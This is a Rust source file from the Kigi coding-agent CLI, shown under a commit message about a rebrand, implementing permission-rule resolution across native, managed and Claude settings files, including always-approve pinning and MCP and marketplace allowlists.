ZacharyZhang-NY
6f31415ed6
The PRD's first acceptance gate now holds: grep -RinE '\bx\.ai\b|grok' crates/ --include='*.rs' → 0 matches (exempt: NOTICE and third-party license archives, README provenance, and the required 'Based on Grok Build Open Source' attribution, now sourced from version_attribution.txt). Wire-visible renames (both sides in this repo, changed in lockstep): - Auth method id 'grok.com' → 'kimi-code' (AuthMethodKind::KimiCode). - Every x.ai/* and _x.ai/* ACP ext method and meta key → kigi/* / _kigi/* (~200 names; grokShell → kigiShell). Session-file replay keeps a read-side alias for the legacy '_x.ai/session/update' method so existing updates.jsonl histories load; writes emit only the new name (both directions test-pinned). - Agent types grok-build* → kigi* with a documented legacy-prefix alias at resolution time so persisted sessions keep resolving. - ToolNamespace/BuiltinAgentName GrokBuild* → Kigi* (wire snake_case kigi/kigi_concise/kigi_hashline; schema regenerated); grok_build implementation dirs renamed to kigi*. - x-grok-* headers → x-kigi-*, __GROK_* sentinels → __KIGI_*, themes grokday/groknight → kigiday/kiginight (old persisted values fall back to the default theme), web_fetch allowlist xAI hosts → kimi.com + moonshot platforms, changelog CDN → this repo, grok-build changelog archives deleted. - BYOK default endpoint removed: [endpoints] api_base_url is now truly optional with NO default — consumers fail fast with the flag name when unset (no silent x.ai egress). Mock harnesses inject it explicitly. - System-prompt identity fixed: 'released by xAI' → 'an unofficial community CLI for Kimi' (template + regenerated encrypted form). Also repaired pre-existing grok-era test debt found by the sweep: the stale trace_classify default-model pin, the grok-pager UA label test, pty-harness stale-binary reuse and non-hermetic moonshot routing (a PTY test could previously reach the real api.moonshot.cn), and the outdated oauth fixture scope key. Gates: §9 grep 0; fmt clean; workspace check/clippy 0/0 (-D warnings); FULL cargo test --workspace: 234 suites, 21,961 passed, 0 failed; deny advisories ok.
4210 lines
161 KiB
Rust
4210 lines
161 KiB
Rust
//! Permission resolution engine: merges native `.kigi/config.toml`,
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//! managed/enterprise settings, and (via `claude_settings`) `.claude`
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//! settings into the effective `PermissionConfig`; MCP/marketplace
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//! allowlists; always-approve policy.
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use crate::permission::claude_settings::*;
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use crate::permission::rules::*;
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use std::path::{Path, PathBuf};
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use std::str::FromStr;
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use tracing::{debug, info, warn};
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use crate::permission::types::{
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PatternMode, PermissionConfig, PermissionRule, PromptPolicy, RuleAction, ToolFilter,
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};
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/// Whether user/project/local files should apply their own `defaultMode`.
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#[derive(Debug, Clone, Copy, PartialEq, Eq)]
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enum UserDefaultModeLoad {
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/// Apply most-specific user/project/local `defaultMode`.
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Apply,
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/// Managed-settings already owns the mode — load allow/deny/ask only.
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SkipManagedOwns,
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}
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/// Synthetic rules + skip records for `acceptEdits` / `bypassPermissions`.
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///
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/// Shared by managed and user-tier application so pin handling cannot drift.
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fn synthetic_rules_for_default_mode(
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mode: DefaultPermissionMode,
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policy_block: Option<&str>,
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) -> (
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Vec<PermissionRule>,
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Vec<SkippedPermission>,
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bool, /* bypass_blocked */
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) {
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let effects = mode.effects();
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let mut rules = Vec::new();
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let mut skipped = Vec::new();
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let mut bypass_blocked = false;
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if effects.bypass_permissions {
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if let Some(reason) = policy_block {
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warn!("defaultMode=bypassPermissions ignored: disabled by managed policy");
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bypass_blocked = true;
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skipped.push(SkippedPermission {
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rule: "defaultMode=bypassPermissions".to_string(),
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reason: reason.to_string(),
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});
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} else {
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debug!("defaultMode=bypassPermissions: appending catch-all Allow Any rule");
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rules.push(PermissionRule {
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action: RuleAction::Allow,
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tool: ToolFilter::Any,
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pattern: None,
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pattern_mode: PatternMode::Glob,
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});
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}
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} else if effects.accept_edits {
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debug!("defaultMode=acceptEdits: appending synthetic Allow Edit rule");
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rules.push(PermissionRule {
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action: RuleAction::Allow,
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tool: ToolFilter::Edit,
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pattern: None,
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pattern_mode: PatternMode::Glob,
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});
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}
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(rules, skipped, bypass_blocked)
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}
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/// Parse a raw defaultMode string: unknown → [`DefaultPermissionMode::Default`]
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/// (fail-safe) with a warn + skip record for `kigi inspect`.
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fn parse_default_mode_claiming_scope(
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raw: &str,
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path: &Path,
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skipped: &mut Vec<SkippedPermission>,
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) -> DefaultPermissionMode {
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match DefaultPermissionMode::from_str(raw) {
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Ok(mode) => mode,
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Err(invalid) => {
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warn!(
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path = %path.display(),
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default_mode = %invalid,
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"settings: unrecognized defaultMode value; treating as default (prompt)"
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);
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skipped.push(SkippedPermission {
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rule: format!("defaultMode={invalid}"),
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reason: "unrecognized value; treated as default".to_string(),
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});
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DefaultPermissionMode::Default
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}
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}
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}
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/// Parse `[permission]` from TOML. Tries compact (`deny = ["Read(...)"]`) first,
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/// falls back to verbose (`[[permission.rules]]`).
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fn parse_toml_permission_section(
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permission_value: &toml::Value,
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) -> Result<Vec<PermissionRule>, String> {
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let mut rules = Vec::new();
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let mut found_compact = false;
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for (action, key) in [
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(RuleAction::Deny, "deny"),
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(RuleAction::Allow, "allow"),
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(RuleAction::Ask, "ask"),
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] {
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if let Some(value) = permission_value.get(key) {
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let Some(arr) = value.as_array() else {
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// Don't drop a security rule list silently.
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warn!(
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"permission.{key}: expected an array of rule strings, got {} -- ignored",
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toml_type_name(value)
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);
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continue;
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};
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found_compact = true;
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for (i, item) in arr.iter().enumerate() {
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if let Some(s) = item.as_str() {
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match parse_permission_rule(s, action) {
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Ok(rule) => rules.push(rule),
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Err(e) => warn!("permission.{key}[{i}]: \"{s}\" -- {e}"),
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}
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} else {
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warn!(
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"permission.{key}[{i}]: expected string, got {}",
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toml_type_name(item)
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);
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}
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}
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}
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}
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if found_compact {
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return Ok(rules);
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}
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permission_value
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.clone()
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.try_into::<PermissionConfig>()
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.map(|config| config.rules)
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.map_err(|e| e.to_string())
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}
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fn toml_type_name(v: &toml::Value) -> &'static str {
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match v {
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toml::Value::String(_) => "string",
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toml::Value::Integer(_) => "integer",
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toml::Value::Float(_) => "float",
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toml::Value::Boolean(_) => "boolean",
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toml::Value::Datetime(_) => "datetime",
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toml::Value::Array(_) => "array",
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toml::Value::Table(_) => "table",
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}
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}
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use crate::permission::types::{RequirementSource, Sourced};
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/// Try to extract `[permission]` rules from a TOML config value.
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fn extract_toml_permissions(
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config: &toml::Value,
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make_source: impl Fn() -> RequirementSource,
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) -> Vec<Sourced<PermissionRule>> {
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let Some(permission_value) = config.get("permission") else {
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return Vec::new();
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};
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match parse_toml_permission_section(permission_value) {
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Ok(rules) => {
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let source = make_source();
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if !rules.is_empty() {
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info!(count = rules.len(), %source, "Loaded permission rules");
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}
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rules
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.into_iter()
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.map(|rule| Sourced {
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value: rule,
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source: source.clone(),
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})
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.collect()
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}
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Err(e) => {
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let source = make_source();
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warn!(error = %e, %source, "Failed to parse [permission]");
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Vec::new()
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}
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}
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}
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/// Load `[permission]` rules from requirements.toml layers. Trust keys on the
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/// `is_system` flag (set at load, never from `path`): system → `SystemRequirements`,
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/// user `~/.kigi` → `Requirements`, so [`is_admin_source`] trusts only the root tier.
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fn load_requirements_permissions() -> Vec<Sourced<PermissionRule>> {
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kigi_config::requirements_layers()
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.into_iter()
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.flat_map(|layer| {
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let source = if layer.is_system {
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RequirementSource::SystemRequirements {
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path: PathBuf::from(layer.source.label().as_ref()),
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}
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} else {
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RequirementSource::Requirements {
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path: PathBuf::from(layer.source.label().as_ref()),
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}
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};
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extract_toml_permissions(&layer.value, || source.clone())
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})
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.collect()
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}
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/// Find every `<dir>/.kigi/config.toml` from `cwd` upward to the git repo
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/// root (or just `<cwd>/.kigi/config.toml` when there is no git repo).
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///
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/// Returned paths are ordered from repo root (lowest priority) to `cwd`
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/// (highest priority), matching `kigi-shell::config::find_project_configs`.
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fn find_project_kigi_configs(cwd: &Path) -> Vec<PathBuf> {
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let git_root = git2::Repository::discover(cwd)
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.ok()
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.and_then(|repo| repo.workdir().map(|p| p.to_path_buf()));
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let mut configs = Vec::new();
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if let Some(ref root) = git_root {
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let mut current = Some(cwd.to_path_buf());
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while let Some(dir) = current {
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let p = dir.join(".kigi").join("config.toml");
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if p.is_file() {
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configs.push(p);
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}
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if dir == *root {
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break;
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}
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current = dir.parent().map(|p| p.to_path_buf());
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}
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configs.reverse();
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} else {
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let p = cwd.join(".kigi").join("config.toml");
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if p.is_file() {
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configs.push(p);
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}
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}
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configs
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}
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/// Load `[permission]` rules from native Kigi TOML config files:
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///
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/// * `~/.kigi/config.toml` (lowest priority)
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/// * Each `.kigi/config.toml` from the git repo root down to `cwd`
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/// (highest priority last)
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///
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/// Returns the rules tagged with `RequirementSource::Config`. Empty if no
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/// config file contains a `[permission]` section.
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fn load_config_toml_permissions(cwd: &Path) -> Vec<Sourced<PermissionRule>> {
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let mut rules = Vec::new();
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// Global `~/.kigi/config.toml` first (lowest priority within this layer).
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// Gated on user_kigi_home() so a project's .kigi/config.toml is never read as
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// global permissions when neither KIGI_SHARE_DIR nor a home dir resolves.
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if let Some(global_path) = kigi_config::user_kigi_home().map(|g| g.join("config.toml"))
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&& global_path.is_file()
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{
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match kigi_config::load_config_file(&global_path) {
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Ok(value) => rules.extend(extract_toml_permissions(&value, || {
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RequirementSource::Config {
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path: global_path.clone(),
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}
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})),
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Err(e) => {
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warn!(path = %global_path.display(), error = %e, "Failed to load global config.toml")
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}
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}
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}
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// Project-scoped configs walking from git root down to cwd.
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for path in find_project_kigi_configs(cwd) {
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match kigi_config::load_config_file(&path) {
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Ok(value) => rules.extend(extract_toml_permissions(&value, || {
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RequirementSource::Config { path: path.clone() }
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})),
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Err(e) => {
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warn!(path = %path.display(), error = %e, "Failed to load project config.toml")
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}
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}
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}
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rules
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}
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fn managed_config_permissions(
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layers: &[kigi_config::ManagedConfigLayer],
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) -> Vec<Sourced<PermissionRule>> {
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layers
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.iter()
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.flat_map(|layer| {
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extract_toml_permissions(&layer.value, || RequirementSource::ManagedConfig {
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path: layer.path.clone(),
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})
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})
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.collect()
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}
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// ═════════════════════════════════════════════════════════════════════════════
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// Fallback Resolver
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// ═════════════════════════════════════════════════════════════════════════════
|
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/// Resolve permission config, merging native Kigi and Claude sources.
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/// Evaluation is order-independent (deny > ask > allow); merge order affects
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/// provenance display only.
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///
|
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/// `defaultMode: "acceptEdits"` in Claude settings generates a synthetic
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/// `Allow Edit` rule appended to the Claude rules.
|
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pub async fn resolve_permission_config_with_fallback(cwd: &Path) -> Option<PermissionConfig> {
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resolve_permissions_with_provenance(cwd)
|
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.await
|
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.map(|r| r.config)
|
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}
|
||
|
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/// Patterns of `Deny` rules that forbid *reading* a path — those on `Read`,
|
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/// `Grep`, or `Any` (the tools that surface file contents). Write-only denies
|
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/// (`Edit`/`Write`/`Bash`) and non-deny actions are excluded.
|
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///
|
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/// Public so a caller holding the manager's *effective* config (managed +
|
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/// claude fallback + CLI `--deny`) can derive the Grep tool's ripgrep excludes
|
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/// from that same config, rather than re-resolving managed-only and missing CLI
|
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/// read denies.
|
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pub fn deny_read_globs_from_config(config: &PermissionConfig) -> Vec<String> {
|
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config
|
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.rules
|
||
.iter()
|
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.filter(|r| {
|
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r.action == RuleAction::Deny
|
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&& matches!(
|
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r.tool,
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ToolFilter::Read | ToolFilter::Grep | ToolFilter::Any
|
||
)
|
||
})
|
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.filter_map(|r| r.pattern.clone())
|
||
.collect()
|
||
}
|
||
|
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/// Result of permission resolution with provenance metadata.
|
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pub struct ResolvedPermissions {
|
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pub config: PermissionConfig,
|
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/// `sources[i]` is where `config.rules[i]` came from.
|
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pub sources: Vec<RequirementSource>,
|
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/// Rules from `.claude/settings.json` that couldn't be parsed (empty for TOML).
|
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pub skipped: Vec<SkippedPermission>,
|
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}
|
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|
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/// A permission rule that was recognized but not loaded.
|
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pub struct SkippedPermission {
|
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pub rule: String,
|
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pub reason: String,
|
||
}
|
||
|
||
fn tag_with_source(
|
||
target: &mut Vec<Sourced<PermissionRule>>,
|
||
rules: Vec<PermissionRule>,
|
||
source: RequirementSource,
|
||
) {
|
||
target.extend(rules.into_iter().map(|rule| Sourced {
|
||
value: rule,
|
||
source: source.clone(),
|
||
}));
|
||
}
|
||
|
||
/// Whether an Allow rule is a blanket `--yolo` substitute the pin must drop: a
|
||
/// catch-all on `Any` or a dangerous freeform dimension (Bash/MCP/WebFetch),
|
||
/// detected via [`rule_is_catchall`]. Read/Edit/Grep are file-access only, so a
|
||
/// catch-all on them is not a substitute and survives.
|
||
pub fn is_catchall_allow(rule: &PermissionRule) -> bool {
|
||
if rule.action != RuleAction::Allow {
|
||
return false;
|
||
}
|
||
// File-access tools (no command execution) are never `--yolo` substitutes.
|
||
if matches!(
|
||
rule.tool,
|
||
ToolFilter::Read | ToolFilter::Edit | ToolFilter::Grep
|
||
) {
|
||
return false;
|
||
}
|
||
crate::permission::policy::rule_is_catchall(rule)
|
||
}
|
||
|
||
/// Root-owned tiers whose catch-all allows survive the pin (managed-settings,
|
||
/// system requirements). Keyed on provenance, never a spoofable `path`.
|
||
fn is_admin_source(source: &RequirementSource) -> bool {
|
||
matches!(
|
||
source,
|
||
RequirementSource::SystemRequirements { .. } | RequirementSource::ManagedSettings { .. }
|
||
)
|
||
}
|
||
|
||
/// Under the pin, drop untrusted catch-all Allow rules (they substitute for the
|
||
/// blocked `--yolo`); keep admin-tier ones. Records each drop for `kigi inspect`.
|
||
fn drop_untrusted_catchall_allows(
|
||
rules: Vec<Sourced<PermissionRule>>,
|
||
policy_block: Option<&'static str>,
|
||
skipped: &mut Vec<SkippedPermission>,
|
||
) -> Vec<Sourced<PermissionRule>> {
|
||
let Some(reason) = policy_block else {
|
||
return rules;
|
||
};
|
||
rules
|
||
.into_iter()
|
||
.filter(|sourced| {
|
||
if is_catchall_allow(&sourced.value) && !is_admin_source(&sourced.source) {
|
||
warn!(
|
||
source = %sourced.source,
|
||
"catch-all allow rule ignored: always-approve disabled by managed policy"
|
||
);
|
||
skipped.push(SkippedPermission {
|
||
rule: format!(
|
||
"allow {} (catch-all)",
|
||
sourced.value.pattern.as_deref().unwrap_or("*")
|
||
),
|
||
reason: reason.to_string(),
|
||
});
|
||
false
|
||
} else {
|
||
true
|
||
}
|
||
})
|
||
.collect()
|
||
}
|
||
|
||
/// Inputs to [`resolve_permissions_with_provenance_inner`]. Production uses
|
||
/// [`ResolveInputs::live`]; tests construct the fields directly so no test
|
||
/// reads the host's real managed files through this seam.
|
||
struct ResolveInputs<'a> {
|
||
policy_block: Option<&'static str>,
|
||
managed: &'a ManagedSettings,
|
||
managed_config_rules: Vec<Sourced<PermissionRule>>,
|
||
}
|
||
|
||
impl ResolveInputs<'static> {
|
||
fn live() -> Self {
|
||
Self {
|
||
policy_block: yolo_disabled_by_policy(),
|
||
managed: managed_settings(),
|
||
managed_config_rules: managed_config_permissions(&kigi_config::managed_config_layers()),
|
||
}
|
||
}
|
||
}
|
||
|
||
/// Collect permission rules from every source, keeping each rule's origin:
|
||
/// requirements.toml, managed-settings.json, managed_config.toml,
|
||
/// config.toml, and .claude/settings.json. A deny always wins over an ask,
|
||
/// and an ask over an allow, no matter which file a rule comes from; the
|
||
/// source order above only affects how origins are displayed.
|
||
///
|
||
/// Rules are read when a session starts. Changes take effect in the next
|
||
/// session.
|
||
///
|
||
/// `permissions.defaultMode` from **managed-settings** outranks user/project/local
|
||
/// for the *mode* scalar (managed scope wins). User-tier defaultMode is
|
||
/// applied only when managed does not set one.
|
||
///
|
||
/// **Always-approve (yolo) is independent of defaultMode:** session always-approve
|
||
/// still auto-approves before [`PromptPolicy::Deny`] (`dontAsk`) is consulted,
|
||
/// so always-approve outranks `defaultMode` unless
|
||
/// bypass is pinned off via kigi `requirements.toml`
|
||
/// (`[ui] disable_bypass_permissions_mode = true`). Pair managed `dontAsk` with
|
||
/// that pin when org policy must not be bypassable by `--always-approve`.
|
||
pub async fn resolve_permissions_with_provenance(cwd: &Path) -> Option<ResolvedPermissions> {
|
||
resolve_permissions_with_provenance_inner(cwd, ResolveInputs::live()).await
|
||
}
|
||
|
||
async fn resolve_permissions_with_provenance_inner(
|
||
cwd: &Path,
|
||
inputs: ResolveInputs<'_>,
|
||
) -> Option<ResolvedPermissions> {
|
||
let ResolveInputs {
|
||
policy_block,
|
||
managed,
|
||
managed_config_rules,
|
||
} = inputs;
|
||
let config_toml_rules = load_config_toml_permissions(cwd);
|
||
|
||
// Managed defaultMode wins; skip user-tier defaultMode application so a
|
||
// project acceptEdits cannot loosen a managed dontAsk/auto/default.
|
||
let managed_mode = managed.default_mode;
|
||
let user_mode_load = if managed_mode.is_some() {
|
||
UserDefaultModeLoad::SkipManagedOwns
|
||
} else {
|
||
UserDefaultModeLoad::Apply
|
||
};
|
||
|
||
// Phase 2 cutoff: skip the .claude/ fallback once the user has imported.
|
||
// Native config-derived permissions still apply.
|
||
let skip_claude = is_claude_import_marked_with_log("resolve_permissions_with_provenance");
|
||
let settings_json = if skip_claude {
|
||
None
|
||
} else {
|
||
resolve_claude_settings_inner(cwd, policy_block, user_mode_load)
|
||
};
|
||
|
||
let mut all_rules: Vec<Sourced<PermissionRule>> = Vec::new();
|
||
all_rules.extend(load_requirements_permissions());
|
||
all_rules.extend(managed.permissions.clone());
|
||
|
||
let mut skipped = Vec::new();
|
||
let mut prompt_policy = PromptPolicy::default();
|
||
|
||
// Apply managed defaultMode synthetics + prompt policy (highest mode tier).
|
||
if let Some(mode) = managed_mode {
|
||
prompt_policy = mode.effects().prompt_policy;
|
||
let managed_path = managed
|
||
.features
|
||
.source_path
|
||
.clone()
|
||
.unwrap_or_else(|| PathBuf::from("managed-settings.json"));
|
||
let source = RequirementSource::ManagedSettings { path: managed_path };
|
||
let (syn_rules, syn_skipped, _) = synthetic_rules_for_default_mode(mode, policy_block);
|
||
skipped.extend(syn_skipped);
|
||
for rule in syn_rules {
|
||
all_rules.push(Sourced {
|
||
value: rule,
|
||
source: source.clone(),
|
||
});
|
||
}
|
||
}
|
||
|
||
all_rules.extend(managed_config_rules);
|
||
all_rules.extend(config_toml_rules);
|
||
if let Some((config, skipped_rules, path)) = settings_json {
|
||
skipped.extend(skipped_rules);
|
||
// User-tier prompt_policy only when managed did not set defaultMode.
|
||
if managed_mode.is_none() {
|
||
prompt_policy = config.prompt_policy;
|
||
}
|
||
tag_with_source(
|
||
&mut all_rules,
|
||
config.rules,
|
||
RequirementSource::Settings { path },
|
||
);
|
||
}
|
||
|
||
// Must run while provenance is in scope (discarded by the unzip below). CLI
|
||
// `--allow '*'` is filtered at its own merge site (acp_session).
|
||
let all_rules = drop_untrusted_catchall_allows(all_rules, policy_block, &mut skipped);
|
||
|
||
// Keep skip-only resolutions alive so the drop reaches `kigi inspect`; zero
|
||
// rules with Ask is a no-op for the evaluator, identical to the `None` arm.
|
||
if all_rules.is_empty() && prompt_policy == PromptPolicy::Ask && skipped.is_empty() {
|
||
return None;
|
||
}
|
||
|
||
let (rules, sources): (Vec<_>, Vec<_>) =
|
||
all_rules.into_iter().map(|s| (s.value, s.source)).unzip();
|
||
|
||
debug!(rules = rules.len(), "Resolved permission rules");
|
||
|
||
Some(ResolvedPermissions {
|
||
config: PermissionConfig {
|
||
rules,
|
||
prompt_policy,
|
||
},
|
||
sources,
|
||
skipped,
|
||
})
|
||
}
|
||
|
||
/// Resolve permissions from Claude settings, merging allow/deny/ask across all
|
||
/// settings scopes so broad global grants aren't dropped when a project file also
|
||
/// exists. `defaultMode` is not merged: the most-specific file that sets it wins
|
||
/// (including unrecognized values, which claim the slot as `default` — an
|
||
/// unknown → default fail-safe).
|
||
///
|
||
/// `defaultMode` handling:
|
||
/// - `bypassPermissions`: catch-all `Allow Any`, but ignored (recorded as a
|
||
/// [`SkippedPermission`]) when [`yolo_disabled_by_policy`] pins bypass off
|
||
/// - `acceptEdits`: synthetic `Allow Edit`
|
||
/// - `default` / `plan`: no synthetic rules
|
||
/// - `dontAsk`: [`PromptPolicy::Deny`] (unapproved tools auto-denied)
|
||
/// - `auto`: [`PromptPolicy::Auto`] (classifier; seeded on the manager)
|
||
///
|
||
/// When [`UserDefaultModeLoad::SkipManagedOwns`], only allow/deny/ask rules are
|
||
/// loaded from user/project/local files.
|
||
///
|
||
/// Synthetic rules are appended last as fallbacks (explicit deny still wins).
|
||
/// `policy_block` is threaded for testability; prod passes the live pin.
|
||
fn resolve_claude_settings_inner(
|
||
cwd: &Path,
|
||
policy_block: Option<&'static str>,
|
||
user_mode_load: UserDefaultModeLoad,
|
||
) -> Option<(PermissionConfig, Vec<SkippedPermission>, PathBuf)> {
|
||
let mut all_rules = Vec::new();
|
||
let mut all_skipped = Vec::new();
|
||
let mut primary_source_path: Option<PathBuf> = None;
|
||
// Track defaultMode from the most specific file (paths are most-specific-first).
|
||
// Also track its source path so synthetic rules have provenance even when
|
||
// no explicit permissions block exists.
|
||
let mut default_mode_source: Option<PathBuf> = None;
|
||
let mut applied_mode: Option<DefaultPermissionMode> = None;
|
||
let mut prompt_policy = PromptPolicy::default();
|
||
let mut files_with_rules: u32 = 0;
|
||
|
||
for path in find_claude_settings_paths(cwd) {
|
||
let Some(settings) = load_claude_settings(&path) else {
|
||
continue;
|
||
};
|
||
|
||
if let Some(dirs) = &settings.additional_directories {
|
||
info!(
|
||
path = %path.display(),
|
||
count = dirs.len(),
|
||
"Claude settings: additionalDirectories parsed but not supported"
|
||
);
|
||
}
|
||
|
||
// defaultMode: most-specific file that *sets* the key wins — including
|
||
// typos (treated as default). Skipped when managed-settings owns mode.
|
||
if user_mode_load == UserDefaultModeLoad::Apply
|
||
&& default_mode_source.is_none()
|
||
&& let Some(raw) = &settings.default_mode
|
||
{
|
||
default_mode_source = Some(path.clone());
|
||
let mode = parse_default_mode_claiming_scope(raw, &path, &mut all_skipped);
|
||
applied_mode = Some(mode);
|
||
prompt_policy = mode.effects().prompt_policy;
|
||
}
|
||
|
||
if let Some(perms) = settings.permissions {
|
||
let (cfg, warnings) = perms.into_permission_config();
|
||
for w in &warnings {
|
||
warn!(path = %path.display(), "{}", w);
|
||
}
|
||
// Rules *or* skip-only parse failures still own provenance for
|
||
// `kigi inspect` (all-invalid allow/deny/ask must not leave
|
||
// primary_source_path unset and panic below).
|
||
if (!cfg.rules.is_empty() || !warnings.is_empty()) && primary_source_path.is_none() {
|
||
primary_source_path = Some(path.clone());
|
||
}
|
||
if !cfg.rules.is_empty() {
|
||
files_with_rules += 1;
|
||
debug!(
|
||
path = %path.display(),
|
||
rules = cfg.rules.len(),
|
||
"Claude settings: loaded permission rules"
|
||
);
|
||
}
|
||
all_rules.extend(cfg.rules);
|
||
all_skipped.extend(warnings.into_iter().map(|w| {
|
||
let (rule, reason) = w
|
||
.split_once(" \u{2014} ")
|
||
.or_else(|| w.split_once(" -- "))
|
||
.map_or((w.as_str(), ""), |(r, d)| (r, d));
|
||
SkippedPermission {
|
||
rule: rule.to_string(),
|
||
reason: reason.to_string(),
|
||
}
|
||
}));
|
||
}
|
||
}
|
||
|
||
let mut bypass_blocked = false;
|
||
if let Some(mode) = applied_mode {
|
||
let (syn_rules, syn_skipped, blocked) =
|
||
synthetic_rules_for_default_mode(mode, policy_block);
|
||
bypass_blocked = blocked;
|
||
all_skipped.extend(syn_skipped);
|
||
all_rules.extend(syn_rules);
|
||
}
|
||
|
||
// A blocked bypass, a claimed defaultMode (incl. typo→default), or skip
|
||
// records still resolve (possibly zero rules) so provenance reaches
|
||
// `kigi inspect` via the outer resolver.
|
||
if all_rules.is_empty()
|
||
&& prompt_policy == PromptPolicy::Ask
|
||
&& !bypass_blocked
|
||
&& default_mode_source.is_none()
|
||
&& all_skipped.is_empty()
|
||
{
|
||
return None;
|
||
}
|
||
|
||
if files_with_rules > 1 {
|
||
info!(
|
||
files = files_with_rules,
|
||
total_rules = all_rules.len(),
|
||
"Claude settings: merged permission rules from multiple files"
|
||
);
|
||
}
|
||
|
||
// Prefer the first file with explicit permission rules or skip-only
|
||
// parse failures; fall back to the file that provided defaultMode.
|
||
// Never panic: a skip-only / mode-only resolution must always surface.
|
||
let source_path = primary_source_path
|
||
.or(default_mode_source)
|
||
.unwrap_or_else(|| {
|
||
warn!(
|
||
cwd = %cwd.display(),
|
||
skipped = all_skipped.len(),
|
||
"Claude settings resolution has no settings file provenance; using cwd"
|
||
);
|
||
cwd.to_path_buf()
|
||
});
|
||
|
||
Some((
|
||
PermissionConfig {
|
||
rules: all_rules,
|
||
prompt_policy,
|
||
},
|
||
all_skipped,
|
||
source_path,
|
||
))
|
||
}
|
||
|
||
// ═════════════════════════════════════════════════════════════════════════════
|
||
// managed-settings.json
|
||
// ═════════════════════════════════════════════════════════════════════════════
|
||
|
||
use std::sync::OnceLock;
|
||
|
||
/// Claude `managed-settings.json` subset we load.
|
||
///
|
||
/// **Supported surface today:** a single file from
|
||
/// [`kigi_config::claude_managed_settings_path`] (platform path such as
|
||
/// `/Library/Application Support/ClaudeCode/managed-settings.json`). We do
|
||
/// **not** yet merge Claude's `managed-settings.d/` drop-ins, MDM plist, or
|
||
/// Windows registry delivery.
|
||
#[derive(Debug, Default)]
|
||
pub struct ManagedSettings {
|
||
pub features: ManagedSettingsFeatures,
|
||
pub permissions: Vec<Sourced<PermissionRule>>,
|
||
/// Parsed `permissions.defaultMode` (highest mode precedence over user files).
|
||
default_mode: Option<DefaultPermissionMode>,
|
||
pub mcp_allowlist: McpServerAllowlist,
|
||
pub marketplace_allowlist: MarketplaceAllowlist,
|
||
}
|
||
|
||
static MANAGED_SETTINGS: OnceLock<ManagedSettings> = OnceLock::new();
|
||
|
||
pub fn managed_settings() -> &'static ManagedSettings {
|
||
MANAGED_SETTINGS.get_or_init(load_managed_settings)
|
||
}
|
||
|
||
fn load_managed_settings() -> ManagedSettings {
|
||
let Some(path) = kigi_config::claude_managed_settings_path() else {
|
||
return ManagedSettings::default();
|
||
};
|
||
let Some(json) = read_managed_settings_json(&path) else {
|
||
return ManagedSettings::default();
|
||
};
|
||
parse_managed_settings_json(&json, &path)
|
||
}
|
||
|
||
fn parse_managed_settings_json(json: &serde_json::Value, path: &Path) -> ManagedSettings {
|
||
let env = json.get("env");
|
||
let features = ManagedSettingsFeatures {
|
||
disable_telemetry: json_env_flag(env, "DISABLE_TELEMETRY"),
|
||
disable_feedback: json_env_flag(env, "DISABLE_FEEDBACK_COMMAND"),
|
||
disable_yolo: parse_disable_bypass_permissions(json),
|
||
source_path: Some(path.to_path_buf()),
|
||
};
|
||
|
||
let mcp_allow_entries = parse_mcp_entries(json, ALLOWED_MCP_SERVERS_KEY);
|
||
let mcp_deny_entries = parse_mcp_entries(json, DENIED_MCP_SERVERS_KEY);
|
||
|
||
if !mcp_allow_entries.is_empty() {
|
||
info!(
|
||
path = %path.display(),
|
||
count = mcp_allow_entries.len(),
|
||
"Loaded MCP server allowlist"
|
||
);
|
||
}
|
||
if !mcp_deny_entries.is_empty() {
|
||
info!(
|
||
path = %path.display(),
|
||
count = mcp_deny_entries.len(),
|
||
"Loaded MCP server denylist"
|
||
);
|
||
}
|
||
|
||
let marketplace_urls: Vec<String> = json
|
||
.get("strictKnownMarketplaces")
|
||
.and_then(|v| v.as_array())
|
||
.map(|arr| {
|
||
arr.iter()
|
||
.filter_map(|entry| {
|
||
let source = entry.get("source")?.as_str()?;
|
||
if source != "git" {
|
||
return None;
|
||
}
|
||
entry.get("url").and_then(|u| u.as_str()).map(String::from)
|
||
})
|
||
.collect()
|
||
})
|
||
.unwrap_or_default();
|
||
|
||
if !marketplace_urls.is_empty() {
|
||
info!(
|
||
path = %path.display(),
|
||
count = marketplace_urls.len(),
|
||
"Loaded marketplace allowlist"
|
||
);
|
||
}
|
||
|
||
let permissions = parse_managed_settings_permissions(json, path);
|
||
let mut skipped = Vec::new();
|
||
let default_mode = extract_default_mode(json, path).map(|raw| {
|
||
let mode = parse_default_mode_claiming_scope(&raw, path, &mut skipped);
|
||
info!(
|
||
path = %path.display(),
|
||
default_mode = %raw,
|
||
"Loaded permissions.defaultMode from managed-settings.json"
|
||
);
|
||
for s in &skipped {
|
||
warn!(path = %path.display(), rule = %s.rule, reason = %s.reason, "managed defaultMode");
|
||
}
|
||
mode
|
||
});
|
||
|
||
ManagedSettings {
|
||
features,
|
||
permissions,
|
||
default_mode,
|
||
mcp_allowlist: McpServerAllowlist::new(
|
||
mcp_allow_entries,
|
||
mcp_deny_entries,
|
||
Some(path.to_path_buf()),
|
||
),
|
||
marketplace_allowlist: MarketplaceAllowlist {
|
||
allowed_urls: marketplace_urls,
|
||
source_path: Some(path.to_path_buf()),
|
||
},
|
||
}
|
||
}
|
||
|
||
const ALLOWED_MCP_SERVERS_KEY: &str = "allowedMcpServers";
|
||
const DENIED_MCP_SERVERS_KEY: &str = "deniedMcpServers";
|
||
|
||
/// Parse `serverUrl` → Http, `command` → Stdio, `serverName` → Name (the keys
|
||
/// Claude's MCP policy supports). A dropped deny entry = silent zero
|
||
/// enforcement, so unsupported `deniedMcpServers` keys `warn!`; the allow side
|
||
/// stays silent (an ungranted entry is fail-closed).
|
||
fn parse_mcp_entries(json: &serde_json::Value, key: &str) -> Vec<AllowedMcpServer> {
|
||
let Some(arr) = json.get(key).and_then(|v| v.as_array()) else {
|
||
return Vec::new();
|
||
};
|
||
let mut entries = Vec::new();
|
||
for entry in arr {
|
||
if let Some(url) = entry.get("serverUrl").and_then(|u| u.as_str()) {
|
||
entries.push(AllowedMcpServer::Http {
|
||
url_pattern: url.to_string(),
|
||
});
|
||
} else if let Some(cmd) = entry.get("command").and_then(|c| c.as_str()) {
|
||
entries.push(AllowedMcpServer::Stdio {
|
||
command: cmd.to_string(),
|
||
});
|
||
} else if let Some(name) = entry.get("serverName").and_then(|n| n.as_str()) {
|
||
entries.push(AllowedMcpServer::Name {
|
||
name: name.to_string(),
|
||
});
|
||
} else if key == DENIED_MCP_SERVERS_KEY {
|
||
warn!(
|
||
entry = %entry,
|
||
"ignoring unsupported deniedMcpServers entry; only serverUrl, command, and serverName are honored"
|
||
);
|
||
}
|
